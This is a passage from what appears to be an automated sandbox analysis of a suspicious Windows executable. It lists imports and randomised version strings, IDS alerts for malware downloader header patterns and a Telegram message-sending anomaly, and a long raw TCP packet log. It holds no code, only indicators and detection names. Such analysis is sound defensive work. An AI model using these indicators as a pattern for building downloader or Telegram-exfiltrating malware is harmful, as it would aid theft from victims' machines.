RT_GROUP_ICON	0x3ab98	0x3e	data	English	United States	0.8064516129032258
RT_VERSION	0x3abd8	0x1f4	data	English	United States	0.552
RT_MANIFEST	0x3add0	0x340	XML 1.0 document, ASCII text, with very long lines (832), with no line terminators	English	United States	0.5540865384615384

Imports

DLL	Import
KERNEL32.dll	SetEnvironmentVariableA, Sleep, GetTickCount, GetFileSize, GetModuleFileNameA, GetCurrentProcess, CopyFileA, GetFileAttributesA, SetFileAttributesA, GetWindowsDirectoryA, GetTempPathA, GetCommandLineA, lstrlenA, GetVersion, SetErrorMode, lstrcpynA, ExitProcess, GetFullPathNameA, GlobalLock, CreateThread, GetLastError, CreateDirectoryA, CreateProcessA, RemoveDirectoryA, CreateFileA, GetTempFileNameA, ReadFile, WriteFile, lstrcpyA, MoveFileExA, lstrcatA, GetSystemDirectoryA, GetProcAddress, CloseHandle, SetCurrentDirectoryA, MoveFileA, CompareFileTime, GetShortPathNameA, SearchPathA, lstrcmpiA, SetFileTime, lstrcmpA, ExpandEnvironmentStringsA, GlobalUnlock, GetDiskFreeSpaceA, GlobalFree, FindFirstFileA, FindNextFileA, DeleteFileA, SetFilePointer, GetPrivateProfileStringA, FindClose, MultiByteToWideChar, FreeLibrary, MulDiv, WritePrivateProfileStringA, LoadLibraryExA, GetModuleHandleA, GetExitCodeProcess, WaitForSingleObject, GlobalAlloc
USER32.dll	ScreenToClient, GetSystemMenu, SetClassLongA, IsWindowEnabled, SetWindowPos, GetSysColor, GetWindowLongA, SetCursor, LoadCursorA, CheckDlgButton, GetMessagePos, LoadBitmapA, CallWindowProcA, IsWindowVisible, CloseClipboard, SetClipboardData, EmptyClipboard, PostQuitMessage, GetWindowRect, EnableMenuItem, CreatePopupMenu, GetSystemMetrics, SetDlgItemTextA, GetDlgItemTextA, MessageBoxIndirectA, CharPrevA, DispatchMessageA, PeekMessageA, ReleaseDC, EnableWindow, InvalidateRect, SendMessageA, DefWindowProcA, BeginPaint, GetClientRect, FillRect, DrawTextA, EndDialog, RegisterClassA, SystemParametersInfoA, CreateWindowExA, GetClassInfoA, DialogBoxParamA, CharNextA, ExitWindowsEx, GetDC, CreateDialogParamA, SetTimer, GetDlgItem, SetWindowLongA, SetForegroundWindow, LoadImageA, IsWindow, SendMessageTimeoutA, FindWindowExA, OpenClipboard, TrackPopupMenu, AppendMenuA, EndPaint, DestroyWindow, wsprintfA, ShowWindow, SetWindowTextA
GDI32.dll	SelectObject, SetBkMode, CreateFontIndirectA, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, SetBkColor
SHELL32.dll	SHGetSpecialFolderLocation, SHGetPathFromIDListA, SHBrowseForFolderA, SHGetFileInfoA, ShellExecuteA, SHFileOperationA
ADVAPI32.dll	RegDeleteKeyA, SetFileSecurityA, OpenProcessToken, LookupPrivilegeValueA, AdjustTokenPrivileges, RegOpenKeyExA, RegEnumValueA, RegDeleteValueA, RegCloseKey, RegCreateKeyExA, RegSetValueExA, RegQueryValueExA, RegEnumKeyA
COMCTL32.dll	ImageList_Create, ImageList_AddMasked, ImageList_Destroy
ole32.dll	OleUninitialize, OleInitialize, CoTaskMemFree, CoCreateInstance

Version Infos

Description	Data
Comments	becut megalichthys
LegalTrademarks	flamboyantizes kiksets rakkeren
OriginalFilename	undfangelsen resurceanvendelser.exe
Translation	0x0409 0x04e4

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-02-18T08:12:38.250010+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.7	63509	142.250.181.238	443	TCP
2025-02-18T08:12:44.056523+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.7	63527	193.122.130.0	80	TCP
2025-02-18T08:12:45.462784+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.7	63527	193.122.130.0	80	TCP
2025-02-18T08:12:46.049174+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	63529	104.21.32.1	443	TCP
2025-02-18T08:12:46.603529+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.7	63530	193.122.130.0	80	TCP
2025-02-18T08:12:49.373281+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	63533	104.21.32.1	443	TCP
2025-02-18T08:12:59.712061+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	63543	104.21.32.1	443	TCP
2025-02-18T08:13:00.761974+0100	1810007	Joe Security ANOMALY Telegram Send Message	1	192.168.2.7	63544	149.154.167.220	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 18, 2025 08:11:59.402364016 CET	63303	53	192.168.2.7	1.1.1.1
Feb 18, 2025 08:11:59.407118082 CET	53	63303	1.1.1.1	192.168.2.7
Feb 18, 2025 08:11:59.407176018 CET	63303	53	192.168.2.7	1.1.1.1
Feb 18, 2025 08:11:59.411971092 CET	53	63303	1.1.1.1	192.168.2.7
Feb 18, 2025 08:11:59.871181011 CET	63303	53	192.168.2.7	1.1.1.1
Feb 18, 2025 08:11:59.876396894 CET	53	63303	1.1.1.1	192.168.2.7
Feb 18, 2025 08:11:59.876467943 CET	63303	53	192.168.2.7	1.1.1.1
Feb 18, 2025 08:12:37.109210014 CET	63509	443	192.168.2.7	142.250.181.238
Feb 18, 2025 08:12:37.109265089 CET	443	63509	142.250.181.238	192.168.2.7
Feb 18, 2025 08:12:37.109358072 CET	63509	443	192.168.2.7	142.250.181.238
Feb 18, 2025 08:12:37.120018959 CET	63509	443	192.168.2.7	142.250.181.238
Feb 18, 2025 08:12:37.120033979 CET	443	63509	142.250.181.238	192.168.2.7
Feb 18, 2025 08:12:37.753091097 CET	443	63509	142.250.181.238	192.168.2.7
Feb 18, 2025 08:12:37.753176928 CET	63509	443	192.168.2.7	142.250.181.238
Feb 18, 2025 08:12:37.753875971 CET	443	63509	142.250.181.238	192.168.2.7
Feb 18, 2025 08:12:37.753950119 CET	63509	443	192.168.2.7	142.250.181.238
Feb 18, 2025 08:12:37.881032944 CET	63509	443	192.168.2.7	142.250.181.238
Feb 18, 2025 08:12:37.881062031 CET	443	63509	142.250.181.238	192.168.2.7
Feb 18, 2025 08:12:37.881438017 CET	443	63509	142.250.181.238	192.168.2.7
Feb 18, 2025 08:12:37.881495953 CET	63509	443	192.168.2.7	142.250.181.238
Feb 18, 2025 08:12:37.940707922 CET	63509	443	192.168.2.7	142.250.181.238
Feb 18, 2025 08:12:37.983355045 CET	443	63509	142.250.181.238	192.168.2.7
Feb 18, 2025 08:12:38.250019073 CET	443	63509	142.250.181.238	192.168.2.7
Feb 18, 2025 08:12:38.250190973 CET	63509	443	192.168.2.7	142.250.181.238
Feb 18, 2025 08:12:38.250345945 CET	63509	443	192.168.2.7	142.250.181.238
Feb 18, 2025 08:12:38.250386953 CET	443	63509	142.250.181.238	192.168.2.7
Feb 18, 2025 08:12:38.250540018 CET	443	63509	142.250.181.238	192.168.2.7
Feb 18, 2025 08:12:38.250600100 CET	63509	443	192.168.2.7	142.250.181.238
Feb 18, 2025 08:12:38.250618935 CET	63509	443	192.168.2.7	142.250.181.238
Feb 18, 2025 08:12:38.275933027 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:38.275966883 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:38.276046038 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:38.276463032 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:38.276473999 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:38.919097900 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:38.919186115 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:38.923038960 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:38.923051119 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:38.923310041 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:38.923389912 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:38.930890083 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:38.975333929 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.082125902 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.082195044 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.082272053 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.082303047 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.082320929 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.082349062 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.096669912 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.096791983 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.096800089 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.096853018 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.170284033 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.170403957 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.170425892 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.170475006 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.170480967 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.170535088 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.170800924 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.170852900 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.170872927 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.170924902 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.177135944 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.177221060 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.177246094 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.177292109 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.183334112 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.183408976 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.183439970 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.183482885 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.189673901 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.189735889 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.189764023 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.189907074 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.196047068 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.196106911 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.196116924 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.196161032 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.201754093 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.201811075 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.201817989 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.201857090 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.207698107 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.207762003 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.207787037 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.207843065 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.213975906 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.214057922 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.214153051 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.214205027 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.218758106 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.218830109 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.218852997 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.218904018 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.224565983 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.224642038 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.224667072 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.224718094 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.230299950 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.230393887 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.258846998 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.258909941 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.258939981 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.258969069 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.258995056 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.259102106 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.259129047 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.259150028 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.259172916 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.259371996 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.259421110 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.262571096 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.262629032 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.262643099 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.262687922 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.268300056 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.268358946 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.268379927 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.268434048 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.274036884 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.274115086 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.274122000 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.274305105 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.274312019 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.274441004 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.279700994 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.279758930 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.279781103 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.279829025 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.285387039 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.285463095 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.285491943 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.285542965 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.291090965 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.291192055 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.291201115 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.291249990 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.296802998 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.296869040 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.296940088 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.296991110 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.302697897 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.302778006 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.302813053 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.302871943 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.307917118 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.307991982 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.308008909 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.308048010 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.312993050 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.313097954 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.313107014 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.313149929 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.317626953 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.317691088 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.317713976 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.317756891 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.322124958 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.322190046 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.322212934 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.322256088 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.326420069 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.326486111 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.326495886 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.326528072 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.330441952 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.330503941 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.330513954 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.330527067 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.330548048 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.330590010 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.330600977 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.330631018 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.334472895 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.334537029 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.334561110 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.334604025 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.338505030 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.338574886 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.338599920 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.338645935 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.343081951 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.343148947 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.343173981 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.343242884 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.346257925 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.346324921 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.346349955 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.346404076 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.350161076 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.350222111 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.350249052 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.350292921 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.352593899 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.352650881 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.352672100 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.352715015 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.354959965 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.355017900 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.355036020 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.355073929 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.357769012 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.357826948 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.357846975 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.357887983 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.359375000 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.359428883 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.359450102 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.359496117 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.361749887 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.361809969 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.361828089 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.361866951 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.364109993 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.364164114 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.364177942 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.364212036 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.366333008 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.366393089 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.366408110 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.366444111 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.368757963 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.368805885 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.368820906 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.368859053 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.371129036 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.371180058 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.371196032 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.371227980 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.373378038 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.373430967 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.373441935 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.373534918 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.375771999 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.375828981 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.375845909 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.375881910 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.378129005 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.378191948 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.378209114 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.378247976 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.380379915 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.380444050 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.380456924 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.380495071 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.382627964 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.382683992 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.382699013 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.382742882 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.384933949 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.384989977 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.385004997 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.385045052 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.387310982 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.387398005 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.387406111 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.387443066 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.389682055 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.389744043 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.389761925 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.389797926 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.391866922 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.391920090 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.391933918 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.391980886 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.394289970 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.394362926 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.394377947 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.394423962 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.396445990 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.396526098 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.396533966 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.396573067 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.398823023 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.398876905 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.398888111 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.398926020 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.401519060 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.401576996 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.401586056 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.401632071 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.403522968 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.403563976 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.403589010 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.403624058 CET	63517	443	192.168.2.7	142.250.186.129
